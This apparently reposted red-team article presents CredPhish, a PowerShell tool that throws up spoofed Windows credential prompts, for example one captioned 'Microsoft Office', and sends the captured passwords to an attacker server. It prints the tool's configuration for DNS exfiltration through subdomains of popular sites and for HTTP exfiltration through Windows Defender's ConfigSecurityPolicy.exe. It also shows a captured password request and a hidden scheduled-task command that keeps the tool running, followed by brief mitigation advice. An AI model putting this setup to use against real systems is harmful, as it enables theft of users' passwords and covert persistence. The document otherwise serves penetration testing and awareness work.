CredPhish : A PowerShell Script Designed To Invoke Legitimate Credential Prompts And Exfiltrate Passwords Over DNS

CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. It relies on CredentialPicker to collect user passwords, Resolve-DnsName for DNS exfiltration, and Windows Defender’s ConfigSecurityPolicy.exe to perform arbitrary GET requests.

For a walkthrough, see the Black Hills Infosec publication.

How To Phish For User Passwords With PowerShell

Spoofing credential prompts is an effective privilege escalation and lateral movement technique. It’s not uncommon to experience seemingly random password prompts for Outlook, VPNs, and various other authentication protocols in Windows environments. Adversaries will abuse functionalities built into Windows and PowerShell to invoke credential popups to acquire user passwords. 

As defined by the MITRE ATT&CK Framework: 

“When programs are executed that need additional privileges … it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task. Adversaries may mimic common operating system components to prompt users for credentials with a seemingly legitimate prompt … via languages such as PowerShell.” 

What is CredPhish? 

CredPhish is a PowerShell script designed to invoke credential prompts and exfiltrate passwords. It relies on the CredentialPicker API to collect user passwords, PowerShell’s Resolve-DnsName for DNS exfiltration, and Windows Defender’s ConfigSecurityPolicy.exe to perform arbitrary GET requests. 

Below is an example of CredPhish in action. Notice the credentials delivered to the attacker’s DNS server immediately after they’re submitted in the Windows Security prompt. 

By default, CredPhish will use Resolve-DnsName, a DNS resolver built into PowerShell, to exfiltrate credentials. It will convert each character in the credentials to its respective hexadecimal value, break the converted values into predefined chunks, and place the chunks into subdomains of popular websites. The below screenshot is an example of exfiltrated credentials in hexadecimal form. Notice the hexadecimal values for “tokyoneon” (746f6b796f6e656f6e) in the google.com and office.com subdomains. 

Before resolving a DNS query, the DNS server will strip the hexadecimal subdomain to avoid creating dozens of error responses. In the below Wireshark screenshot, notice the “Answers” field no longer includes the subdomain and successfully resolves to one of Google’s IP addresses. 

CredPhish.ps1 Configuration 

I designed credphish.ps1 to be an isolated script that doesn’t require Import-Module, a common indicator of compromise. The configurable options are instead at the top of the PS1 script in the form of variables to avoid lengthy command-line arguments. 

The first line is most important as it defines where the exfiltrated data is delivered (i.e., the attacker’s Kali server). 

# exfil address
$exfilServer = “192.168.56.112”

Next, several variables define how the prompt will appear to the unsuspecting target user. The $promptCaption defines the “application” requesting user credentials (e.g., “Microsoft Office”). And the $promptMessage usually specifies the account associated with the request. 

# prompt
$targetUser = $env:username
$companyEmail = “blackhillsinfosec.com”
$promptCaption = “Microsoft Office”
$promptMessage = “Connecting to: $targetUser@$companyEmail”
$maxTries = 1 # maximum number of times to invoke prompt
$delayPrompts = 2 # seconds between prompts
$validateCredentials = $false # interrupt $maxTries and immediately exfil if credentials are valid

The $maxTries variable defines how many times the prompt will appear before the target submits credentials. To avoid suspicion, 1 is the default value. The $delayPrompts variable defines how many seconds between each prompt (if $maxTries is greater than 1). And $validateCredentials, disabled by default, will attempt to locally validate the submitted credentials by using Start-Process in an elevated context. If enabled and the credentials are validated, $maxTries is ignored, and the data is sent to the attacker’s server — immediately. 

Exfiltration Methods 

As mentioned, DNS exfiltration is the default method used to deliver passwords to the attacker’s server. The $exfilDomains list includes various domains used in DNS queries and chosen at random. The $subdomainLength variable determines the desired length of each subdomain. 

#dns
#start dns server in kali: python3 /path/to/credphish/dns_server.py
$enableDnsExfil = $true
$exfilDomains = @(‘.microsoft.com’, ‘.google.com’, ‘.office.com’, ‘.live.com’) # domains for dns exfil
$randomDelay = get-random -minimum 5 -maximum 20 # delay between dns queries
$subdomainLength = 6 # maximum chars in subdomain. must be an even number between 2-60 or queries will break

To intercept credentials sent with the DNS exfiltration function, execute the dns_server.py script in Kali. Press Ctrl + c to terminate the DNS server, and it will reconstruct the intercepted credentials in plaintext. 

Another method of exfiltration built into CredPhish is the HTTP request method. It leverages “ConfigSecurityPolicy.exe,” a binary included in Windows Defender, to deliver credentials to the attacker’s server. Set the $enableHttpExfil variable to $true to enable it. 

#http
#start http server in kali: python3 -m http.server 80
$enableHttpExfil = $false
$ConfigSecurityPolicy = “C:\ProgFiles\WinDefender\ConfigSecurityPolicy.exe”

To intercept credentials sent with ConfigSecurityPolicy.exe, start a simple HTTP server in Kali to capture them in the logs. 

On the network, the exfiltrated credentials will appear as shown below. 

GET /DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D HTTP/1.1
Accept: /
UA-CPU: AMD64
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)
Host: 192.168.56.104
Connection: Keep-Alive

As the credentials are URL encoded before transmission, use Burp’s Decoder module to observe the data or Python’s urllib library to URL decode via command-line. 

>>>from urllib.parse import unquote
>>>unquote(“/DESKTOP-S4DAAF0%5Btokyoneon%3A%23!Extr3m3Ly_%26ecuRe-P%40ssw%25rD%23%5D”)
‘/DESKTOP-S4DAAF0[tokyoneon:#!Extr3m3Ly_&ecuRe-P@ssw%rD#]’

CredPhish.ps1 Execution 

To quickly test CredPhish, move the credphish.ps1 to the target Windows 10 machine and execute it with PowerShell. 

A persistent method of execution might involve Task Scheduler, a component of Windows that provides the ability to schedule script executions at predefined intervals. The below schtasks example will execute credphish.ps1 every 2 minutes. 

create /sc minute /mo 2 /tn “credphish” /tr “powershell -ep bypass -WindowStyle Hidden C:\path\to\credPhish\credphish.ps1”

Mitigations & Detection 

CredPhish, derived from projects like Invoke-LoginPrompt, CredsLeaker, and Stitch, isn’t a silver bullet for password phishing. There’s always room for improvement as this kind of attack is typically very targeted and user-specific. A more aggressive approach might involve spoofing the entire Windows 10 lock screen with Cobalt Strike and capturing credentials that way. 

These types of attack techniques are not easily mitigated with preventive controls as they abuse system features. The MITRE ATT&CK Framework recommends: 

  • Exercise user training as a way to bring awareness and raise suspicion for potentially malicious events and dialog boxes (e.g., Office documents prompting for credentials). 
  • Monitor process execution for unusual programs and malicious instances of Command and Scripting Interpreter‘s which prompt users for credentials. 
  • Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.